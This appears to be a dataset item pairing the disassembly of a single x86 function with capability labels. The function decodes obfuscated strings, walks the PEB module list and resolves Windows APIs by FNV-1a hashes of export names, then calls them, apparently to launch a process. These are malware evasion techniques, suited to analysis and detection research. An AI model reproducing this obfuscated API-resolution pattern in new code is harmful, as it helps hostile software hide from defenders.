Function at 0x49cf60
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov ecx, 0x800
call fcn.004baba0
mov dword [ebp - 0x10], eax
mov ebx, 0x2c
mov eax, dword fs:[0x30]
mov esi, 0x75
mov word [ebp - 0x1d4], bx
mov edx, 0x7a
mov dword [ebp - 0x14], eax
mov ecx, 0x43
mov eax, 0x3b
mov edi, 0x3c
mov word [ebp - 0x1d2], ax
mov eax, 0x4f
mov word [ebp - 0x1d0], ax
mov eax, 0x7c
mov word [ebp - 0x1ce], bx
mov word [ebp - 0x1cc], ax
mov eax, 0x73
mov word [ebp - 0x1ca], si
mov word [ebp - 0x1c8], dx
mov word [ebp - 0x1c6], ax
mov eax, 0x3d
mov word [ebp - 0x1c4], bx
mov word [ebp - 0x1c2], ax
mov eax, 0x3e
mov word [ebp - 0x1c0], ax
mov eax, 0x3a
mov word [ebp - 0x1be], cx
mov word [ebp - 0x1bc], ax
mov word [ebp - 0x1ba], di
mov word [ebp - 0x1b8], ax
mov word [ebp - 0x1b6], di
mov word [ebp - 0x1b4], ax
mov eax, 0x39
mov word [ebp - 0x1b2], cx
mov ecx, 0x78
mov word [ebp - 0x1b0], bx
mov word [ebp - 0x1ae], ax
mov eax, 0x3f
mov word [ebp - 0x1ac], dx
mov edx, 0x7f
mov word [ebp - 0x1aa], bx
mov word [ebp - 0x1a8], ax
mov eax, 0x4a
mov word [ebp - 0x1a6], bx
mov word [ebp - 0x1a4], ax
mov eax, 0x5a
mov word [ebp - 0x1a2], bx
mov word [ebp - 0x1a0], ax
mov eax, 0x81
mov word [ebp - 0x19e], ax
mov word [ebp - 0x19c], cx
mov ecx, 0x2c
mov word [ebp - 0x19a], bx
mov ebx, 0x32
mov word [ebp - 0x198], bx
mov ebx, 0x2c
mov word [ebp - 0x196], cx
mov ecx, 0x72
mov word [ebp - 0x194], cx
mov word [ebp - 0x192], dx
mov edx, 0x80
mov word [ebp - 0x190], ax
mov eax, 0x78
mov word [ebp - 0x18e], dx
mov word [ebp - 0x18c], si
mov word [ebp - 0x18a], ax
mov word [ebp - 0x188], bx
mov ebx, 0x71
mov word [ebp - 0x186], cx
mov word [ebp - 0x184], si
mov word [ebp - 0x182], ax
mov eax, 0x2c
mov word [ebp - 0x180], bx
mov word [ebp - 0x17e], ax
mov eax, 0x7f
mov word [ebp - 0x17c], ax
mov word [ebp - 0x17a], bx
mov eax, 0x66
mov word [ebp - 0x178], dx
mov ecx, 0x7b
mov word [ebp - 0x176], ax
mov esi, 0x50
mov word [ebp - 0x174], bx
mov eax, 0x7e
mov word [ebp - 0x172], ax
mov eax, 0x6d
mov word [ebp - 0x170], cx
mov word [ebp - 0x16e], si
mov word [ebp - 0x16c], ax
mov word [ebp - 0x16a], dx
mov word [ebp - 0x168], ax
mov eax, 0x2c
mov word [ebp - 0x166], ax
mov eax, 0x72
mov word [ebp - 0x164], cx
mov ecx, 0x49
mov word [ebp - 0x162], ax
mov word [ebp - 0x160], ax
mov eax, 0x7f
mov word [ebp - 0x15e], ax
mov eax, 0x2c
mov word [ebp - 0x15c], bx
mov word [ebp - 0x15a], dx
mov word [ebp - 0x158], cx
mov word [ebp - 0x156], di
mov edi, 0x78
mov word [ebp - 0x154], ax
mov eax, 0x7a
mov word [ebp - 0x152], di
mov word [ebp - 0x150], bx
mov ebx, 0x32
mov word [ebp - 0x14e], ax
mov eax, 0x73
mov word [ebp - 0x14c], ax
mov eax, 0x74
mov word [ebp - 0x14a], dx
mov edx, 0x2e
mov word [ebp - 0x148], ax
mov eax, 0x41
mov word [ebp - 0x146], cx
mov ecx, 0x3e
mov word [ebp - 0x144], ax
mov eax, 0x40
mov word [ebp - 0x142], cx
mov word [ebp - 0x140], ax
mov eax, 0x44
mov word [ebp - 0x13e], cx
mov ecx, 0x31
mov word [ebp - 0x13c], ax
mov word [ebp - 0x13a], ax
mov eax, 0x2c
mov word [ebp - 0x138], ax
mov eax, 0x7f
mov word [ebp - 0x136], dx
mov word [ebp - 0x134], cx
mov word [ebp - 0x132], ax
mov eax, 0x2c
mov word [ebp - 0x130], dx
mov word [ebp - 0x12e], ax
mov word [ebp - 0x12c], bx
mov ebx, eax
mov word [ebp - 0x12a], bx
mov eax, 0x71
mov word [ebp - 0x128], si
mov esi, 0x3b
mov word [ebp - 0x126], ax
mov eax, 0x72
mov word [ebp - 0x124], di
mov word [ebp - 0x122], bx
mov word [ebp - 0x120], si
mov word [ebp - 0x11e], ax
mov eax, 0x7d
mov word [ebp - 0x11c], bx
mov word [ebp - 0x11a], si
mov word [ebp - 0x118], ax
mov word [ebp - 0x116], bx
mov word [ebp - 0x114], dx
mov word [ebp - 0x112], cx
mov eax, 0x7f
mov word [ebp - 0x110], ax
mov eax, 0xc
mov word [ebp - 0x10e], dx
mov word [ebp - 0x10c], ax
movzx eax, word [0x4035b2]
add eax, 0xc
mov word [ebp - 0x10a], ax
movzx eax, word [0x4035b4]
add eax, 0xc
mov word [ebp - 0x108], ax
movzx eax, word [0x4035b6]
add eax, 0xc
mov word [ebp - 0x106], ax
movzx eax, word [0x4035b8]
add eax, 0xc
mov word [ebp - 0x104], ax
movzx eax, word [0x4035ba]
add eax, 0xc
mov word [ebp - 0x102], ax
movzx eax, word [0x4035bc]
add eax, 0xc
mov word [ebp - 0x100], ax
movzx eax, word [0x4035be]
add eax, 0xc
mov word [ebp - 0xfe], ax
movzx eax, word [0x4035c0]
add eax, 0xc
mov word [ebp - 0xfc], ax
movzx eax, word [0x4035c2]
add eax, 0xc
mov word [ebp - 0xfa], ax
movzx eax, word [0x4035c4]
add eax, 0xc
mov word [ebp - 0xf8], ax
movzx eax, word [0x4035c6]
add eax, 0xc
mov word [ebp - 0xf6], ax
movzx eax, word [0x4035c8]
add eax, 0xc
mov word [ebp - 0xf4], ax
movzx eax, word [0x4035ca]
add eax, 0xc
mov word [ebp - 0xf2], ax
movzx eax, word [0x4035cc]
add eax, 0xc
mov word [ebp - 0xf0], ax
movzx eax, word [0x4035ce]
add eax, 0xc
mov word [ebp - 0xee], ax
movzx eax, word [0x4035d0]
add eax, 0xc
mov word [ebp - 0xec], ax
movzx eax, word [0x4035d2]
add eax, 0xc
mov word [ebp - 0xea], ax
movzx eax, word [0x4035d4]
add eax, 0xc
mov word [ebp - 0xe8], ax
movzx eax, word [0x4035d6]
add eax, 0xc
mov word [ebp - 0xe6], ax
movzx eax, word [0x4035d8]
add eax, 0xc
mov word [ebp - 0xe4], ax
movzx eax, word [0x4035da]
add eax, 0xc
mov word [ebp - 0xe2], ax
movzx eax, word [0x4035dc]
add eax, 0xc
mov word [ebp - 0xe0], ax
movzx eax, word [0x4035de]
add eax, 0xc
mov word [ebp - 0xde], ax
movzx eax, word [0x4035e0]
add eax, 0xc
mov word [ebp - 0xdc], ax
movzx eax, word [0x4035e2]
add eax, 0xc
mov word [ebp - 0xda], ax
movzx eax, word [0x4035e4]
add eax, 0xc
mov word [ebp - 0xd8], ax
movzx eax, word [0x4035e6]
add eax, 0xc
mov word [ebp - 0xd6], ax
movzx eax, word [0x4035e8]
add eax, 0xc
mov word [ebp - 0xd4], ax
movzx eax, word [0x4035ea]
add eax, 0xc
mov word [ebp - 0xd2], ax
movzx eax, word [0x4035ec]
add eax, 0xc
mov word [ebp - 0xd0], ax
movzx eax, word [0x4035ee]
add eax, 0xc
mov word [ebp - 0xce], ax
movzx eax, word [0x4035f0]
add eax, 0xc
mov word [ebp - 0xcc], ax
movzx eax, word [0x4035f2]
add eax, 0xc
mov word [ebp - 0xca], ax
movzx eax, word [0x4035f4]
add eax, 0xc
mov word [ebp - 0xc8], ax
movzx eax, word [0x4035f6]
add eax, 0xc
mov word [ebp - 0xc6], ax
movzx eax, word [0x4035f8]
add eax, 0xc
mov word [ebp - 0xc4], ax
movzx eax, word [0x4035fa]
add eax, 0xc
mov word [ebp - 0xc2], ax
movzx eax, word [0x4035fc]
add eax, 0xc
mov word [ebp - 0xc0], ax
movzx eax, word [0x4035fe]
add eax, 0xc
mov word [ebp - 0xbe], ax
movzx eax, word [0x403600]
add eax, 0xc
mov word [ebp - 0xbc], ax
movzx eax, word [0x403602]
add eax, 0xc
mov word [ebp - 0xba], ax
movzx eax, word [0x403604]
add eax, 0xc
mov word [ebp - 0xb8], ax
movzx eax, word [0x403606]
add eax, 0xc
mov word [ebp - 0xb6], ax
movzx eax, word [0x403608]
add eax, 0xc
mov word [ebp - 0xb4], ax
movzx eax, word [0x40360a]
add eax, 0xc
mov word [ebp - 0xb2], ax
movzx eax, word [0x40360c]
add eax, 0xc
mov word [ebp - 0xb0], ax
movzx eax, word [0x40360e]
add eax, 0xc
mov word [ebp - 0xae], ax
movzx eax, word [0x403610]
add eax, 0xc
mov word [ebp - 0xac], ax
movzx eax, word [0x403612]
add eax, 0xc
mov word [ebp - 0xaa], ax
movzx eax, word [0x403614]
add eax, 0xc
mov word [ebp - 0xa8], ax
movzx eax, word [0x403616]
add eax, 0xc
mov word [ebp - 0xa6], ax
movzx eax, word [0x403618]
add eax, 0xc
mov word [ebp - 0xa4], ax
movzx eax, word [0x40361a]
add eax, 0xc
mov word [ebp - 0xa2], ax
movzx eax, word [0x40361c]
add eax, 0xc
mov word [ebp - 0xa0], ax
movzx eax, word [0x40361e]
add eax, 0xc
mov word [ebp - 0x9e], ax
movzx eax, word [0x403620]
add eax, 0xc
mov word [ebp - 0x9c], ax
movzx eax, word [0x403622]
add eax, 0xc
mov word [ebp - 0x9a], ax
movzx eax, word [0x403624]
add eax, 0xc
mov word [ebp - 0x98], ax
movzx eax, word [0x403626]
add eax, 0xc
mov word [ebp - 0x96], ax
movzx eax, word [0x403628]
add eax, 0xc
mov word [ebp - 0x94], ax
movzx eax, word [0x40362a]
add eax, 0xc
mov word [ebp - 0x92], ax
movzx eax, word [0x40362c]
add eax, 0xc
mov word [ebp - 0x90], ax
movzx eax, word [0x40362e]
add eax, 0xc
mov word [ebp - 0x8e], ax
movzx eax, word [0x403630]
add eax, 0xc
mov word [ebp - 0x8c], ax
movzx eax, word [0x403632]
add eax, 0xc
mov word [ebp - 0x8a], ax
movzx eax, word [0x403634]
add eax, 0xc
mov word [ebp - 0x88], ax
movzx eax, word [0x403636]
add eax, 0xc
mov word [ebp - 0x86], ax
movzx eax, word [0x403638]
add eax, 0xc
mov word [ebp - 0x84], ax
movzx eax, word [0x40363a]
add eax, 0xc
mov word [ebp - 0x82], ax
movzx eax, word [0x40363c]
add eax, 0xc
mov word [ebp - 0x80], ax
movzx eax, word [0x40363e]
add eax, 0xc
mov word [ebp - 0x7e], ax
movzx eax, word [0x403640]
add eax, 0xc
mov word [ebp - 0x7c], ax
movzx eax, word [0x403642]
add eax, 0xc
mov word [ebp - 0x7a], ax
movzx eax, word [0x403644]
add eax, 0xc
mov word [ebp - 0x78], ax
movzx eax, word [0x403646]
add eax, 0xc
mov word [ebp - 0x76], ax
movzx eax, word [0x403648]
add eax, 0xc
mov word [ebp - 0x74], ax
movzx eax, word [0x40364a]
add eax, 0xc
mov word [ebp - 0x72], ax
movzx eax, word [0x40364c]
add eax, 0xc
mov word [ebp - 0x70], ax
movzx eax, word [0x40364e]
add eax, 0xc
mov word [ebp - 0x6e], ax
movzx eax, word [0x403650]
add eax, 0xc
mov word [ebp - 0x6c], ax
movzx eax, word [0x403652]
add eax, 0xc
mov word [ebp - 0x6a], ax
movzx eax, word [0x403654]
add eax, 0xc
mov word [ebp - 0x68], ax
movzx eax, word [0x403656]
add eax, 0xc
mov word [ebp - 0x66], ax
movzx eax, word [0x403658]
add eax, 0xc
mov word [ebp - 0x64], ax
movzx eax, word [0x40365a]
add eax, 0xc
mov word [ebp - 0x62], ax
movzx eax, word [0x40365c]
add eax, 0xc
mov word [ebp - 0x60], ax
movzx eax, word [0x40365e]
add eax, 0xc
mov word [ebp - 0x5e], ax
movzx eax, word [0x403660]
add eax, 0xc
mov word [ebp - 0x5c], ax
movzx eax, word [0x403662]
add eax, 0xc
mov word [ebp - 0x5a], ax
movzx eax, word [0x403664]
add eax, 0xc
mov word [ebp - 0x58], ax
movzx eax, word [0x403666]
add eax, 0xc
mov word [ebp - 0x56], ax
movzx eax, word [0x403668]
add eax, 0xc
mov word [ebp - 0x54], ax
movzx eax, word [0x40366a]
add eax, 0xc
mov word [ebp - 0x52], ax
movzx eax, word [0x40366c]
add eax, 0xc
mov word [ebp - 0x50], ax
movzx eax, word [0x40366e]
add eax, 0xc
mov word [ebp - 0x4e], ax
movzx eax, word [0x403670]
add eax, 0xc
mov word [ebp - 0x4c], ax
movzx eax, word [0x403672]
add eax, 0xc
mov word [ebp - 0x4a], ax
movzx eax, word [0x403674]
add eax, 0xc
mov word [ebp - 0x48], ax
movzx eax, word [0x403676]
add eax, 0xc
mov word [ebp - 0x46], ax
movzx eax, word [0x403678]
add eax, 0xc
mov word [ebp - 0x44], ax
xor eax, eax
mov word [ebp - 0x42], ax
xor ecx, ecx
mov ax, word [ebp - 0x1d4]
nop
mov ax, word [ebp + ecx*2 - 0x1d4]
movzx eax, ax
add eax, 0xfffffff4
mov word [ebp + ecx*2 - 0x1d4], ax
inc ecx
cmp ecx, 0xc9
jb 0x49d9c0
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x49da74
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49da5b
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49da23
cmp eax, 0xc0323159
je 0x49dedd
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49da6c
cmp dword [ecx + 0x18], 0
jne 0x49da05
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov ecx, dword [0x4f07b8]
test ecx, ecx
jne 0x49db0f
test ebx, ebx
je 0x49db07
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49db09
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49db07
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49daf5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49dac0
cmp edi, 0xaeb3c6d5
je 0x49dee8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49dab0
xor ecx, ecx
mov dword [0x4f07b8], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
push eax
push eax
lea eax, [ebp - 0x1d4]
push eax
push dword [ebp - 0x10]
call ecx
mov ebx, dword [0x4f081c]
add esp, 0x10
test ebx, ebx
jne 0x49dbc1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49dba8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49db70
cmp eax, 0xa3e6f6c3
je 0x49df06
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49dbb9
cmp dword [ecx + 0x18], 0
jne 0x49db50
xor ebx, ebx
mov dword [0x4f081c], ebx
mov ecx, dword [0x4f8c4c]
test ecx, ecx
jne 0x49dc5f
test ebx, ebx
je 0x49dc57
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49dc59
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49dc57
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop word [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49dc45
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49dc10
cmp edi, 0x5dc69f50
je 0x49df11
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49dc00
xor ecx, ecx
mov dword [0x4f8c4c], ecx
mov eax, dword [ebp - 0x14]
push 4
push 0
mov eax, dword [eax + 0x10]
push dword [eax + 0x3c]
call ecx
mov dword [ebp - 0x210], 0x3c
mov eax, 0x12
mov dword [ebp - 0x20c], 0x400
mov ecx, 0x14
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x40], 0x71
mov word [ebp - 0x3c], ax
mov eax, 0x1c
mov word [ebp - 0x3a], ax
mov eax, 0x15
mov word [ebp - 0x38], ax
mov eax, 0x5f
mov word [ebp - 0x36], ax
mov eax, 9
mov word [ebp - 0x34], cx
mov word [ebp - 0x32], ax
mov eax, 0x71
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], ax
movzx eax, word [0x4035c4]
xor eax, 0x71
mov word [ebp - 0x2c], ax
movzx eax, word [0x4035c6]
xor eax, 0x71
mov word [ebp - 0x2a], ax
movzx eax, word [0x4035c8]
xor eax, 0x71
mov word [ebp - 0x28], ax
movzx eax, word [0x4035ca]
xor eax, 0x71
mov word [ebp - 0x26], ax
movzx eax, word [0x4035cc]
xor eax, 0x71
mov word [ebp - 0x24], ax
movzx eax, word [0x4035ce]
xor eax, 0x71
mov word [ebp - 0x22], ax
movzx eax, word [0x4035d0]
xor eax, 0x71
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x1e], ax
xor edx, edx
mov ax, word [ebp - 0x3c]
nop
mov ax, word [ebp + edx*2 - 0x3c]
movzx ecx, ax
movzx eax, word [ebp - 0x40]
xor ecx, eax
mov word [ebp + edx*2 - 0x3c], cx
inc edx
cmp edx, 0xf
jb 0x49dd50
mov ebx, dword [0x4f8bd4]
xor eax, eax
mov word [ebp - 0x1e], ax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0
test ebx, ebx
jne 0x49de34
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49de1b
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x49dde3
cmp eax, 0x4f644736
je 0x49df2f
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49de2c
cmp dword [ecx + 0x18], 0
jne 0x49ddc5
xor ebx, ebx
mov dword [0x4f8bd4], ebx
mov eax, dword [0x4f8c58]
test eax, eax
jne 0x49decd
test ebx, ebx
je 0x49dec6
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49dec6
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x49dec6
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 0x10], eax
nop
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x49deb4
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x49de81
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
cmp edi, 0x50206cf2
je 0x49df3a
mov eax, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], eax
cmp ecx, dword [edx + 0x18]
jne 0x49de70
xor eax, eax
mov dword [0x4f8c58], eax
lea ecx, [ebp - 0x210]
push ecx
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49da6e
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
jmp 0x49db09
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49dbbb
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
jmp 0x49dc59
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49de2e
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
lea ecx, [ebp - 0x210]
add eax, ebx
push ecx
mov dword [0x4f8c58], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret